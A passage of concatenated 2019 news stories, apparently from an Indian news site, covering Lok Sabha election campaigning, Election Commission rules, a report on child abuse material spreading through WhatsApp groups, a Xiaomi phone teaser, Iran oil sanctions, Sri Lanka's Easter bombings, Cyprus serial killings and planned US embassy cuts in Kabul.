symbol of their own. They have to choose from a list of 'free symbols' issued by the poll panel. According to the latest Election Commission circular, there are 84 such free symbols available. However, these parties are allowed to have up to 20 star campaigners during an election campaign. In 2016, the Election Commission asked the Central Board of Direct Taxes to look into the finances of 255 registered, but unrecognised political parties. These parties remained electorally dormant for over a decade. However, the dormancy led to the fear that such parties are used to 'round trip' the black money into white. Some of these parties were also found to be no longer in existence or functioning", a PTI report noted. It is to be noted that the Election Commission cannot deregister a party. However, it uses Article 324 of the Constitution to unlist dormant political parties. Seeking to woo voters ahead of the 29 April polling for the three out of four Lok Sabha seats in Uttar Pradesh's Bundelkhand, Congress leader Priyanka Gandhi Vadra on Thursday held a roadshow, the second in two days in the region. Jhansi/Jalaun: Seeking to woo voters ahead of the 29 April polling for the three out of four Lok Sabha seats in Uttar Pradesh's Bundelkhand, Congress leader Priyanka Gandhi Vadra on Thursday held a roadshow, the second in two days in the region. On the second day of her Bundelkhand visit, she held the roadshow in a busy commercial area of the city, sitting atop a vehicle in a violet saree and exchanging pleasantries with people lined up on both sides of the narrow and congested roads. As young voters and Congress workers showered flowers on her cavalcade, she was greeted with slogans of "chowkidar chor hai" from the crowd at some places. Priyanka got off her vehicle and offered prayers at Gopal Mandir and Jain Mandir (at Gandhi Road). The roadshow covered almost a distance of 10 kilometres. Former Union minister Pradeep Jai Aditya was also present on the occasion. She sought votes for party candidate Shiv Sharan Kushwaha, who is Jan Adhikar Party founder Babu Singh Kushwaha's brother. The party has forged an alliance with the Congress. Babu Singh Kushwaha, a former BSP minister, was one of Mayawati's most trusted "backroom boys", and a senior member of the Uttar Pradesh Cabinet. On 7 April, 2011, he was forced to resign after being implicated in the killing of two chief medical officers. Jhansi is the largest town in Bundelkhand, a parched and underdeveloped hilly region spread over Uttar Pradesh and Madhya Pradesh. In Jalaun, Priyanka Gandhi garlanded the statue of Babasaheb Ambedkar and then offered a chaadar at the mazaar (grave) of Sayyad Padam Pad Shah, before starting her roadshow. Jalaun goes to poll on 29 April. Earlier on Wednesday, Priyanka held a roadshow in Mahoba of the Banda constituency, which goes to polls on 6 May and an election meeting in Hamirpur, the voting for which will be held on 29 April. Bundelkhand has four Lok Sabha seats Jalaun, Jhansi, Hamirpur and Banda. Focusing on the Bundelkhand region, she had also addressed a public meeting in Hamirpur, accusing the NDA government of pursuing anti-people policies. "The Modi government is ignoring the poor, farmers and women. It is bothered only about the power," she had said. "What have you done in the past five years? What has happened to the promises made five years ago?" she had asked the BJP. "Elect a government, a leader who is your hamdard (sympathiser)," Priyanka Gandhi had said. While the erstwhile Bahujan Samaj Party government, under Mayawati, had in 2011 proposed to create Bundelkhand state comprising seven districts of Uttar Pradesh, outfits like the Bundelkhand Akikrit Party and the Bundelkhand Mukti Morcha wanted the inclusion of six districts of Madhya Pradesh as well. During canvassing for the 2014 Lok Sabha election, BJP leader Uma Bharti too had promised a separate state of Bundelkhand within three years of her party coming to power. A similar promise was made by the Congress during the last general election. All the four Lok Sabha seats were won by the BJP in 2014 with a massive 44.86 percent vote share. In the 2017 assembly elections, the Samajwadi Party, Bahujan Samaj Party and the Congress were not able to dent the BJP's support base. The BJP, in 2017, successfully carried on its momentum in Bundelkhand and bagged all 20 assembly seats in the region. The saffron party had dominated the region throughout the 1990s. Beginning with the 1991 Lok Sabha election, the party won all the four Lok Sabha seats in Bundelkhand. It won all, except Banda (BSP won this seat), in 1996 and again secured a landslide victory in the 1998 election. However, the BJP's domination witnessed a hiatus from 1999 till 2014 when the party made a comeback riding on the 'Modi wave'. In 1999, 2004, and 2009 parliamentary elections, the BJP could only manage to win once in Jalaun in 2004. During this period, while the BSP bagged three seats in 1999, only to wait till 2009 to win another seat (Hamirpur) in the region, the SP won three seats in 2004 and secured two in 2009. The Congress won only in Jhansi twice, in 1999 and 2009, ever since it won all the four seats in 1984. According to the Election Commission guidelines, a candidate of a recognised national party requires a minimum of one locally registered voter to propose his name as a candidate. Each candidate can be accompanied by five persons, including proposers. Prime Minister Narendra Modi arrived at the Varanasi District Magistrates office in Varanasi at 11.20 am on Friday to file his nomination papers amid huge pomp and show and an army of supporters behind him. However, among those espousing the prime minister's candidature as proposers are people from all walks of life, including Modi's old aide and Varanasi's chief cremator. According to the Election Commission guidelines, a candidate of a recognised national party requires a minimum of one locally registered voter to propose his name as a candidate. Each candidate can be accompanied by five persons, including proposers. However, an Independent candidate or a candidate of an unrecognised political party needs ten electors from the constituency to propose their name as a nominee. Modi will be taking four proposers and one lawyer along with him to the returning officer. So far, names of four people have come forward who will be Modi's proposers. Dr Annapurna Shukla Annapurna Shukla, 81, is popularly known as the manasputri of BJP ideologue Pundit Madan Mohan Malviya. Shukla is a noted academician and an MBBS doctor in Varanasi. She was been close to Malviya since her childhood. Malviya was a four-time Indian National Congress president and the founder of Banaras Hindu University (BHU) at Varanasi. Jagdish Raja A member of the Dom Raja family, Jagdish Raja Chowdhary who helps perform the last rites at Varanasis Manikarnika Ghat is also one of the proposers. CLICK HERE FOR LIVE UPDATES ON LOK SABHA ELECTION Subhash Chandra Gupta One of the oldest BJP workers in Varanasi, Gupta has been loyal to the the party since the Jana Sangha days. Ramashankar Patel Dr Ramashankar Patel is veteran agricultural scientist, whose work is recognised and awarded by the Central government. Apart from the proposers, accompanying the prime minister would be Parindu Bhagat, alias Kakubhai who is his legal advisor for the last three decades. Kakubhai has been assisting Modi in filing his nomination since his first election in 2002, when he contested from Rajkot in a by-election in February 2002. The grandson of late Shehnai maestro Ustad Bismillah Khan, Nasir Abbas Bismillah, had also written an open letter to Modi expressing his desire to become a proposer. However, he was not picked for the job. In the last election, the family had refused to become a proposer for Modi, saying they do not want to be associated with any political party. A day before filing his nomination for the Lok Sabha polls, Prime Minister Narendra Modi held a mega roadshow on Thursday, drawing massive crowds, before culminating the show of strength with the 'Ganga aarti' at the Dashashwamedh ghat. Varanasi: A day before filing his nomination for the Lok Sabha polls, Prime Minister Narendra Modi held a mega roadshow on Thursday, drawing massive crowds, before culminating the show of strength with the "Ganga aarti" at the Dashashwamedh ghat. Modi was joined by Bharatiya Janata Party (BJP) president Amit Shah, Uttar Pradesh chief minister Yogi Adityanath and other senior BJP leaders in the temple town, on a day the Congress ended the speculation over Priyanka Gandhi Vadra contesting the polls against the prime minister by announcing Ajay Rai's candidature from Varanasi. Later, addressing a meeting, Modi said while the last five years were about his government making sincere efforts, the next five will be about results. He also laid stress on national security and said a new India gives a befitting reply to terror. "Grateful for the warmth and affection!," Modi tweeted after the commencement of the seven-kilometre roadshow, which passed through several parts of the city, including the Lanka, Godhalio and Assi areas, amid a cheering crowd wearing saffron-coloured attires and showering rose petals. The prime minister started his roadshow by garlanding the statue of Banaras Hindu University (BHU) founder Madan Mohan Malviya. Wearing a saffron kurta and a white pyjama along with a matching saffron scarf, Modi waved at the people who lined up on both sides of the road and jostled to get a glimpse of him. Modi is on a two-day visit to his parliamentary constituency and is scheduled to file his nomination on Friday in the presence of National Democratic Alliance (NDA) leaders, including Bihar chief minister Nitish Kumar. In the 2014 Lok Sabha polls, Modi, who contested from two seats Varanasi and Vadodara in Gujarat defeated Aam Aadmi Party (AAP) supremo and Delhi Chief Minister Arvind Kejriwal from the former. Congress's Rai had finished third. The nearly four-hour roadshow ended at the Dashashwamedh ghat, where Modi took part in the "Ganga aarti" along with Shah and Adityanath. Later, the prime minister also performed a puja. Shyamlal Sharma (50), a local BJP worker who was wearing a saffron-coloured T-shirt with a graffiti saying "Modi forever", termed the roadshow a carnival for the city. Shiromani Akali Dal patriarch and former Punjab chief minister Parkash Singh Badal and Lok Janshakti Party chief Ram Vilas Paswan are also expected to be present when the prime minister files his nomination, the BJP had said. The Congress, however, alleged that Modi's roadshow was aimed at covering up his failure in honouring the promises made to the people of Varanasi and demanded that he should apologise for "betraying" them. "Optics are more important than results and that is why the roadshow is being taken out, as the resolve of serving the people of Varanasi that Modiji had taken, the commitment he had shown to purify Ganga Ma, he has been completely unsuccessful in that," Congress spokesperson Ragini Nayak said. The prime minister wants people's cries to get "drowned in today's noise and show", she alleged. Addressing the meeting after the roadshow, Modi, in an apparent reference to the 14 February terror attack on a Central Reserve Police Force (CRPF) convoy in south Kashmir, said, "They killed 40 jawans in Pulwama, we have killed 42 terrorists in that area." He said this was the way his government functioned, adding that the world backed India in its fight against terror. The prime minister also referred to the recent bomb blasts in Sri Lanka, saying innocent people observing Easter lost their lives. Talking about Varanasi, he said he would not claim that whatever he had wished for his constituency had come true in the last five years. But the pace and direction of its development were right, Modi said and outlined the work done by his government in Varanasi. Rahul Gandhi also mocked at Prime Minister Narendra Modi for making military operations carried out after terror attacks in Uri and Pulwama a poll plank Samastipur (Bihar): Congress president Rahul Gandhi on Friday called NYAY scheme a surgical strike on poverty and allayed fears that the salaried middle class would have to foot the bill which he said would be entirely funded with the money that thieves like Anil Ambani have plundered with Narendra Modi's help. Launching a fresh attack on the NDA government at the Centre, Rahul coined a slogan kuchh nahin sab jhootha hai Narendra Modi ne loota hai, (all promises are proven false. Narendra Modi has robbed people of whatever they had). Addressing a rally in this north Bihar town where he shared the stage, for the first time after general elections were announced, with RJD heir apparent Tejashwi Yadav, Rahul also deplored the insulting treatment meted out to the jailed supremo of his alliance partner and warned the BJP-led coalition of a backlash in the polls. The NYAY scheme will be entirely funded with the money that thieves like Anil Ambani have plundered with Narendra Modi's help, Rahul said allaying fears of the salaried middle class. The Congress chief also mocked at the Prime Minister for making military operations carried out after terror attacks in Uri and Pulwama a poll plank. He carries teleprompter wherever he goes to deliver his speeches. He keeps getting orders from above don't talk about rozgar (employment). Do not mention the Rs 15 lakh you had promised to remit into accounts of every poor Indian. You may be booed. Keep harping on surgical strikes, he said, taking a swipe at the PM. Reiterating that if voted to power, the Congress would ensure that no farmer was sent to jail for defaulting on loans, Rahul said, "You (Modi) are welcome to help people like Nirav Modi and Vijay Mallya flee the country after defaults, but we stand for the common people, farmers and the working class. And we would share their burden." Sameer Sachdeva Social media sites are becoming a veritable hub of sexually explicit content and those related to Child Sexual Abuse Material (CSAM). These platforms which are meant for adults and allow children over 13 years of age, end up becoming platforms for paedophiles to scour. YouTube, WhatsApp, TikTok and many other platforms have dark corners where a lot of content featuring young children is running riot and a lot of it is sexual in nature. For instance, TikTok was banned by the Madras High Court on 3 April on the suspicion of hosting 'pornographic content'. The ban on the app was lifted on 24 April, but only after getting an assurance from TikTok's parent company ByteDance that measures would be taken to ensure obscene content wasn't hosted on the platform. Now the Information Technology ministry has issued a notice to WhatsApp based on a report by Cyber Peace Foundation, which claimed that the platform was being used to share child sexual abuse videos. The ministry has asked the Facebook-owned company to take steps to prevent such misuse. The ministry's latest move comes following a report that an investigation, conducted by Cyber Peace Foundation, allegedly found that chat groups on WhatsApp continue to be created and used to disseminate CSAM in India. The Foundation has also come up with a second report on CSAM and chat groups. According to Cyber Peace Foundation, The report on WhatsApp groups highlights how invite links to groups are used to share CSAM across the world. People join groups using these links and active solicitation of lewd content happens. Hence, government regulation is the need of the hour because self-regulation by platforms is not helping. WhatsApp cares deeply about the safety of our users, and we have zero tolerance for child sexual abuse. We rely on the signals available to us, such as group information, to proactively detect and ban accounts suspected of sending or receiving child abuse imagery. We have carefully reviewed this report to ensure such accounts have been banned from our platform. We are constantly stepping up our capabilities to keep WhatsApp safe, including working collaboratively with other technology platforms, and we'll continue to prioritise requests from Indian law enforcement that can help confront this challenge," a WhatsApp spokesperson told Firstpost. The Cyber Peace Foundations second report titled, We have a BIGO problem on the Internet and it needs to be stopped. The report explores the proliferation of several types of unlawful content and activity through a live streaming app, paving the way for several legal violations and their harmful impact on society at large. The report on Bigo Live is about the lawlessness and lewd content on the live streaming application. For instance, exposure to obscene content for children. Though the app is marked safe for use by people above 12 years of age, the content certainly isnt, according to Cyber Peace Foundation. Cyber Law expert Dr Pavan Duggal puts the raging debate in perspective. The IT Acts Section 67 is clear that publishing or transmitting pornography is an offence. Publishing and transmission of child pornography or even browsing of child pornography is also an offence. Intermediaries have to exercise due diligence, and they must remove it. Since the Ministry of Electronics and Information Technology (MeitY) is a governmental agency, they are entitled to tell WhatsApp that this kind of child pornographic content is an offence under section 67, therefore they should remove or disable access over the network." There are a variety of kinds of content which users are obliged not to host, share or upload on platforms. These are given under Rule 3(2) of information technology intermediaries guidelines rules 2011. But after Shreya Singhal Vs Union of India judgement, the service providers have got into a futile argument. The Supreme Court (SC) says do not act till you get a court order or instructions from a law enforcement agency to remove or disable the content. Now, the intermediaries dont act even if mayhem happens on their network because of the SC order. No wonder, most of the platforms dont do anything even in cases of child pornography until a court order. On the subject of appointment of grievance officer, Duggal cites the rule book. Under the IT Act Intermediaries guidelines, they are duty-bound to appoint a grievance officer. However, most of the companies havent done it. But, of late they started to appoint a grievance officer. For example, WhatsApp has its grievance officer in the US." The crux of the issue: Should these social media sites be banned? But, banning may not be a solution because of the bigger menace of illegal online content. Besides, its technologically impossible to stop the uploading of illegal content. Be that as it may, the government has to bring these sites under the purview of some sort of regulation lest they become vehicles of illegal content. Here's the complete PDF file of the report by Cyber Peace Foundation. We Have a BIGO Problem on t... by on Scribd tech2 News Staff After launching the Redmi Y3 and the Redmi 7, Chinese smartphone maker Xiaomi has now teased the launch of a new mid-range smartphone that will pack in the latest mid-range SoC from Qualcomm. Xiaomi Vice President Manu Kumar Jain took to Twitter confirming his meeting with Qualcomm India VP and President, Rajen Vagadia and VP of Product Management, Kedar Kondap. Apart from this, Jain also added that a new Xiaomi smartphone with the latest Snapdragon 7 is coming to India. Great meeting Rajen @rajen_vagadia & Kedar from #Qualcomm.@Xiaomi & @Qualcomm have always worked together to bring the latest & the best! Breaking news: A new #Xiaomi phone with latest #Snapdragon 7_ _ (announced just 2 weeks ago) is coming to India very soon! Any guesses? pic.twitter.com/TnrnTOr4PI Manu Kumar Jain (@manukumarjain) April 26, 2019 We expect the processor to be the Qualcomm Snapdragon 730 which was announced just two weeks ago. The chipset is manufactured using the 8 nm process and is the successor to the 10 nm Snapdragon 710 which has been used by several manufacturers in their mid-range smartphones. As per a recent leak via a Weibo post, Xiaomi is working on a device with a Snapdragon 730 Soc, a 4,000 mAh battery and a 48 MP + 8 MP + 13 MP camera setup at the rear. Also confirmed is the presence of a 3.5 mm headphone jack and a pop-up selfie camera. Xiaomi being aggressive with its pricing, could be looking to introduce a new smartphone with a mid-range chipset priced in the Rs 20,000 - Rs 30,000 price bracket. Currently, the Redmi Note 7 Pro with its Snapdragon 675 SoC and 48 MP camera is priced competitively between Rs 13,999 (4 GB + 64 GB) and Rs 16,999 (6 GB + 128 GB). A more powerful offering with a powerful processor and premium design is something that Xiaomi currently lacks in its stable to compete with the likes of the stylish Nokia 7.1 and Nokia 8.1, seems like the right move at the moment since Xiaomis only offering above the Note 7 series is the POCO F1 and the stylish but outdated Mi Mix 2 thats priced at Rs 29,999. US-imposed sanctions have crippled its economy, but Iran is not backing out of Syria Oil prices surged to a nearly six-month high after the US government said it would not extend sanctions exemptions to countries importing oil from Iran when they expire in early May. Eight governments India, China, Turkey, Greece, Italy, Japan, South Korea and Taiwan had been given six months to wean themselves off Iranian oil. Greece, Italy and Taiwan are believed to have eliminated imports from Iran. China and Turkey have objected to unilateral US sanctions on Iranian oil exports, warning that it could disturb regional stability. Defiant China The Trump administrations move to stifle Iran of much-needed oil revenue is expected to hurt Chinese oil companies. Iran is Chinas seventh-largest crude oil supplier, accounting for nearly 6% of oil imports last year. Beijing has protested that the sanctions will contribute to volatility in the Middle East and in the international energy market. Chinas defiance is likely to complicate matters at a time Beijing and Washington are in discussions to ease trade tensions. Iran sanctions are going to be a big challenge for the US-Chinese relationship, Jason Bordoff, the director of Columbia Universitys Center on Global Energy Policy and a former energy adviser to President Barack Obama, told the New York Times. Bordoff said if Chinese imports do not drop quickly, the US sanctions could be applied to Beijings central bank, the Peoples Bank of China. International oil prices surged about 3% to top $74 (66.1) a barrel a nearly six-month high immediately after the US decision, underscoring uncertainty over oil supplies. The recent outbreak of violence in Libya also threatens to disrupt supply and has been weighing on oil prices. The Trump administration has said it is working with Saudi Arabia and the United Arab Emirates to bridge any gap in supplies. Riyadh has so far refused to commit to increasing oil output. Saudi Arabia, the worlds top oil exporter, has supported President Donald Trumps decision to end waivers not only because Iran is its main foe, but also because a rise in oil prices means higher revenue for the kingdom. Officials in Riyadh were disappointed after Washington exempted major Iranian oil importers from sanctions in November, causing oil prices to plunge to around $50 a barrel from more than $85. They had expected a tougher stance from the Trump administration and had increased their own production to bridge the gap resulting from Iranian oil going off the market. The New York Times reported on April 21 that Middle Eastern oil executives are doubtful Riyadh will immediately decide to pump more oil, in part because of Washingtons November decision to give sanction exemptions. The Russia factor Saudi Arabia has been cooperating with Russia in recent years to manage global oil supplies. Earlier this month, however, Moscow which has struggled to comply with a pact with OPEC countries to cut their combined oil output signalled that it wanted to instead raise oil output to take advantage of recent spike in oil prices. Russia stands to benefit from Washingtons decision on Iranian oil as it would mean raising output to bridge the shortfall and keep oil prices from spiralling. Russian President Vladimir Putin has said existing oil prices suited Russia, which relies heavily on sales of oil and natural gas. But should Russia refuse to oblige the US and keep its oil output at current levels, oil prices could go through the roof and hurt an already fragile global economy. Isolating Iran US secretary of state Mike Pompeo said Monday that the latest decision intended to bring Irans oil exports to zero. Oil is the lifeline of the nation, which continues to export one million barrels per day (bpd). It exported 2.7 million bpd before the sanctions kicked in last year. Pompeo said so far, the sanctions had deprived the regime of more than $10 billion in oil sales. Iranian exports will not actually reach zero, Rome said. China will continue buying Iranian crude, perhaps as high as several hundred thousand bpd, to save face. China may barter for the oil or wall off banks to handle transactions in renminbi. India will likely take a similar position. While sanctions have crippled the Iranian economy and have led to shortage of food and medicines, they have not really forced Tehran to give up its military role in the Syrian conflict or end support for militias in the region. Iran has repeatedly threatened to disrupt the flow of oil through the Strait of Hormuz if its prevented from using the Persian Gulf through which about a third of all oil traded at sea passes. Such a move could threaten Saudi exports as the route is used for most oil shipments from the kingdom. Britain is eager to forge closer ties with Beijing. The worlds fifth-biggest economy will look to re-invent itself as a global trading nation after it leaves the European Union Beijing: Britain is committed to help realise the potential of Chinas Belt and Road Initiative (BRI), British finance minister Philip Hammond said on Friday, describing the policy as a vision. Speaking at a summit in Beijing on Chinas programme to re-create the old Silk Road joining China with Asia and Europe, Hammond said the BRI must work for everyone for it to turn into a sustainable reality and he offered British expertise in project financing. The Belt and Road Initiative has tremendous potential to spread prosperity and sustainable development, touching as it does, potentially 70 percent of the worlds population, a project of truly epic ambition, Hammond said. The UK is committed to helping to realise the potential of the BRI and to doing so in way that works for all whose lives are touched by the project, he added. The BRI is an extraordinarily ambitious vision, Hammond said. To turn that vision into a sustainable reality, it must work for everyone involved. Britain is eager to forge closer ties with Beijing. The worlds fifth-biggest economy will look to re-invent itself as a global trading nation after it leaves the European Union: though it remains unclear when there will be Brexit. Britain and China will hold the next round of their Economic and Financial Dialogue (EFD) in mid-June in London, Hammond said on Thursday, after months of media reports that talks had been delayed by diplomatic tension. In the past, the EFD has been used to announce closer cooperation on trade and banking initiatives, and to sign commercial contracts. Speaking later to reporters, Hammond said he hoped to see progress on the Shanghai-London stock connect plan and other projects, though he did not give details. Strained ties However, relations between London and Beijing have been strained in recent years, most notably after a British warship sailed close to islands claimed by China in the disputed South China Sea last August. Prior to that, China and Britain, which have talked of a golden era of relations, had agreed to look at the possibility of reaching a top notch post-Brexit free trade deal that promised an important political win for the British government. Hammond said while the two countries didnt always agree on everything, relations were back on track. I agreed yesterday a long agenda with Vice Premier Hu Chunhua and Im confident that out of that agenda there will be significant deliverables when we meet in London in June, he told reporters. Amid the upheavals on the domestic front after parliament three times rejected the Brexit deal negotiated by Prime Minister Theresa May and other EU leaders, Britain has increasingly looked to China, including the Belt and Road. To unlock that private finance and reassure investors, a recognised infrastructure asset class for Belt and Road projects must be created, with standardised contract terms and dutiful reporting that global investors will recognise and trust, Hammond told the summit. To support the sheer scale of the initiative, private finance will need to play a bigger role in the infrastructure projects, he added. Our offer is to bring together the best of Chinese manufacturing, engineering and construction, with the best of British project design and legal, technical and financial services expertise, as we promise the golden era of UK-China relations to deliver world class sustainable infrastructure for the 21st century, he said. After Islamic militants detonated suicide bombs on Sunday that killed Easter worshippers in three churches, Tamil and Sinhalese Christians are once again turning to a religion that, unusually for Sri Lanka, binds people of different ethnicities by a single faith Colombo: During the bad years, when rebels mostly from the ethnic minority Tamils and majority Sinhalese government forces were slaughtering each other in a horrific civil war, Gnanamani found solace in something many of her fellow Tamils didn't have: Christianity, and especially its long inclusion in Sri Lanka's main ethnic groups. A religious minority in Sri Lanka, Christians are part of both the Sinhalese and Tamil ethnic groups, unlike the mainly homogenous Tamil Hindus and Sinhalese Buddhists on the teardrop-shaped island in the Indian Ocean. After Islamic militants detonated suicide bombs on Sunday that killed Easter worshippers in three churches, including St. Anthony's, a few blocks from Gnanamani's home in the warren of streets of Colombo's 13th zone, she and other Tamil and Sinhalese Christians are once again turning to a religion that, unusually for Sri Lanka, binds people of different ethnicities by a single faith. Experts and Christians interviewed by The Associated Press after the attacks say this imbedded ethnic cooperation, along with Christian leaders who have consistently preached restraint, helps explain the measured calm that has so far been the response to the coordinated bombing of churches and hotels that killed 253 people. "Being a Christian sets an example to others, because we did not retaliate after this violence was done to us. We were restrained Sinhalese and Tamil Christians both," Gnanamani, a 60-year-old housewife who goes by one name, said as she squatted on her stoop in a narrow, sunless alley, hundreds of black and white condolence streamers fluttering in a breeze above. "If this happened to Buddhist shrines or temples, there would have been an explosion of violence." There is indeed widespread fear here that more attacks, especially if they target other faiths, could return Sri Lanka, which is majority Buddhist but has significant Christian, Muslim and Hindu populations, to something like the cycle of sectarian violence and retaliation that marked the nearly three-decade civil war that ended in 2009. "Within the Christian community there has to be moderation because by its nature it consists of two different ethnic communities. There's a natural instinct for them to look at such religious and ethnic issues with deep compassion," said Rohan Gunaratna, a religion and security expert and co-author of "The Three Pillars of Radicalization." But peace is not guaranteed. "Sri Lanka must not take this Christian interreligious harmony for granted," Gunaratna said in a phone interview. "The danger is that the Christian patience could break if there are more attacks, and that is what the terrorists want." About 7 percent of Sri Lanka's 21 million people are Christian, and most are Roman Catholic, according to Mathew Schmalz, a professor at the College of the Holy Cross and an expert on Christianity in South Asia. There has not always been universal Christian unity and restraint in Sri Lanka. During the civil war that began in 1983, Christianity was divided, with members of the faith fighting for both the largely ethnic Tamil separatists and the mostly Sinhalese Buddhist government forces, experts say, and some tension still lingers. With the recent attacks against Christians and foreigners, there's worry that militant anti-Muslim Buddhists might be strengthened. "There might be less incentive now to step in to defend Muslims, and militant Buddhists might claim that they had been right all along to see Muslims as a threat," Schmalz said by email. The largely peaceful mixing of religions and ethnicities found in many parts of Colombo can be seen in the extended family of Anoma Damayanthi Liyanage, a 52-year-old Buddhist factory worker who lives in a small, neat, tin-roofed house in an alley off Jampettah Street in the Kochchikade neighborhood near St. Anthony's. Liyanage's 25-year-old daughter, who married into a Christian family, was seriously injured in the blast. Liyanage herself was at St. Anthony's and escaped the bomb only because she left a few minutes earlier with her Christian son-in-law when her 1 -year-old granddaughter began crying too loudly. "It's common for Tamil and Sinhalese Christians to marry each other," Pradeepa Jayasinghe, a Sinhalese Christian relative, said. "We've always understood each other very well. We were raised from childhood together." Her daughter, 21-year-old Hishara, said, "We get together because of our Christian traditions. We're not Tamil or Sinhalese. We look first if there is Christianity." The bombings, however, have stirred complex feelings among Christians. Not far from the bombed church of St. Sebastian's in a village in the city of Negombo, beyond the metal security barriers and the dozens of camouflaged soldiers carrying automatic weapons, Catholic priests Niroshan Perera and Anthony Nishan stand in their long white cassocks and watch fresh graves being dug for Christians killed by the attack on their church. There are 41 dirt mounds piled with flowers and candles, with wooden crosses marked mostly with numbers that correspond to names in a book that the priests keep. There's fear of more violence and deep grief in this majority Christian enclave outside Colombo. "The whole village is a funeral. The houses here are filled with coffins," Nishan said of a place where about 120 Christians died in the bombing. There's also rage. Father Perera, 45, had a single description for the politicians who were told that terror attacks against Christians might be coming but didn't notify the communities: "terrorists." A Catholic villager Senake Perera, 55, a Sinhalese Catholic said he would follow the restraint preached by Catholic leaders. But he also had a very human response to the fresh graves and wooden crosses, to the coffins and the dozens of color photos of the victims displayed on banners that fill this neighborhood. "I have a feeling in my heart that we should go after the Muslims, that we should retaliate," he said. For the time being, however, like the Christians of Colombo interviewed by AP, there's a belief that Catholics won't hit back. "After the tragedy, we are united because of the practice of dealing with other ethnicities which is within our Christianity," said Father Nishan, 29, who's the son of a Tamil father and Sinhalese mother, and who often gives Masses in Tamil, Sinhala and English. "Even if there are more attacks, Catholics won't respond with violence," he said. "That's the beauty of Christianity here. We don't have the division. We have to live together." By Michele Kambas NICOSIA (Reuters) - Cypriot police searched on Friday for more victims of a suspected serial killer amid mounting public accusations that authorities bungled investigations and failed to heed concern about the safety of women. Several hundred people attended a candlelit vigil in the Cypriot capital Nicosia on Friday evening, and observed a minute's silence for what are believed to be seven victims, all foreign women. The main opposition party, the left-wing AKEL, called for the resignation of the justice minister and police chief over their handling of the case By Michele Kambas NICOSIA (Reuters) - Cypriot police searched on Friday for more victims of a suspected serial killer amid mounting public accusations that authorities bungled investigations and failed to heed concern about the safety of women. Several hundred people attended a candlelit vigil in the Cypriot capital Nicosia on Friday evening, and observed a minute's silence for what are believed to be seven victims, all foreign women. The main opposition party, the left-wing AKEL, called for the resignation of the justice minister and police chief over their handling of the case. Justice Minister Ionas Nicolaou and Police Chief Zacharias Chrysostomou have said there will be an investigation into any perceived shortcomings. Police sources said the suspect, a 35-year-old army officer who has been in detention for a week, has confessed to seven killings. This would make it by far the worst peacetime crime committed against women on the island in living memory. The bodies of three women, including two thought to be from the Philippines, have been recovered. Police sources said the suspect had indicated the location of the third body, found on Thursday, and had said the person was "either Indian or Nepali". Police were combing three different locations west of the capital Nicosia in a search for more bodies. A team of British detectives is due to arrive on the island on Monday to help with the investigation, police said. "These women came here to earn a living, to help their families. They lived away from their families. And the earth swallowed them, nobody was interested," AKEL lawmaker Irene Charalambides told Reuters. "This killer will be judged by the court but the other big question is the criminal indifference shown by the others when the reports first surfaced. I believe, as does my party, that the justice minister and the police chief should resign. They are irrevocably exposed." Police have said they will investigate any perceived shortcomings in their handling of the case. VULNERABILITY One person who did attempt to alert the authorities over the disappearances, a 70-year-old Cypriot citizen, has said his motives were questioned by police. Several hundred people gathered for Friday's vigil, organised on social media on Orthodox Good Friday which is one of the holiest dates on the Christian calendar. "We are here ... for our victims. We ask for justice for all these girls that were brutally murdered. It is a very devastating time, because we are all just here to work," said Lissa Jataas, of the OBRERAS Empowered Filipino Migrant Movement in Cyprus. "Nobody deserves this," she told Reuters, her voice breaking. The bodies of the two Filipino women, reported missing in May and August 2018, were found in an abandoned mine shaft this month. Police discovered the body of the third woman at an army firing range about 14 km (9 miles) from the mine shaft. Police are now searching for the six-year-old daughter of the first victim found, a Romanian mother who disappeared with her eight-year-old child in 2016, and a woman from the Philippines who vanished in December 2017. (Reporting By Michele Kambas; Editing by Gareth Jones and Frances Kerry) This story has not been edited by Firstpost staff and is generated by auto-feed. By Jonathan Landay and Phil Stewart WASHINGTON (Reuters) - Secretary of State Mike Pompeo is accelerating a plan to cut up to half of the workforce at the U.S. By Jonathan Landay and Phil Stewart WASHINGTON (Reuters) - Secretary of State Mike Pompeo is accelerating a plan to cut up to half of the workforce at the U.S. embassy in Kabul starting at the end of next month, sparking concern it will undermine the fragile Afghan peace process, U.S. officials and congressional aides said. Pompeos order for the largest U.S. diplomatic mission comes about a year earlier than expected, a surprise development given the meager progress in U.S. talks with Taliban militants on an agreement that would pave the way for a U.S. troop withdrawal and an end to America's longest war. The Taliban, their negotiating leverage bolstered by U.S. President Donald Trumps public impatience to end the war, could dig in further because they would regard a large embassy drawdown as more confirmation of his eagerness to reduce the U.S. role in Afghanistan. The Kabul embassy is a testament to the size of America's investment in Afghanistan since it went to war there in 2001 after the September 11 attacks. With a workforce of about 1,500, the heavily fortified compound underwent an $800 million expansion four years ago and now includes 700 beds for staff. One U.S. official said the reduction should be seen as part of a global redistribution of U.S. diplomats required by the Trump administration's national security strategy shift from emphasizing counter-terrorism to confronting renewed "great power" rivalry with Russia and China. But a drastic embassy workforce cut - which State Department officials briefed key congressional committees about last week in advance of a formal notification - will likely reverberate throughout Afghanistan. It could erode a strained U.S. relationship with Afghan President Ashraf Ghani's government a month after the allies publicly clashed over Kabul's exclusion from the negotiations with the Taliban in Doha, Qatar. Ghani "would see this as another step in a betrayal," said Thomas Lynch, a U.S. National Defense University fellow focused on Afghanistan and former adviser to the U.S. military's Joint Chiefs of Staff. U.S. officials and congressional aides said that among the concerns about a major drawdown was the risk that it could alarm NATO allies, already at odds with Trump over a host of issues, and ordinary Afghans. A State Department spokeswoman said in an email when asked about the planned embassy cuts that the department "regularly reviews our presence at our overseas missions to reflect changing circumstances and our policy goals." Trump's priorities are "ending the war in Afghanistan through a sustainable peace settlement and focusing on counterterrorism," she said, adding that Washington will maintain "a robust" presence in Afghanistan. She did not explain why Pompeo moved up the embassy staff reduction plan. 'SHOCK AND STUPEFACTION' U.S. negotiator, Zalmay Khalilzad, has reported some progress toward an accord on a U.S. troop withdrawal and on how the Taliban would prevent extremists from using Afghanistan to launch attacks as al Qaeda did on Sept. 11, 2001. The insurgents, however, so far have rejected U.S. demands for a ceasefire and talks on the country's political future that would include Afghan government officials. News that Washington was examining a workforce cut in Kabul first was reported by National Public Radio in February. Foreign Policy magazine reported earlier this month that the State Department was preparing to reduce personnel by half in 2020. Now, the reduction "is starting as soon as May 31 and they want to have it done by September," said one congressional aide. Four other sources, including three U.S. officials, confirmed the plan to reduce the embassy staff by up to half. One said it would be achieved by not filling posts that regularly go vacant. Pompeo's order was not accompanied by a justification, such as cost-cutting, said a U.S. official and a congressional aide. "You have to have some parameters, some guidelines, and there werent any," said the 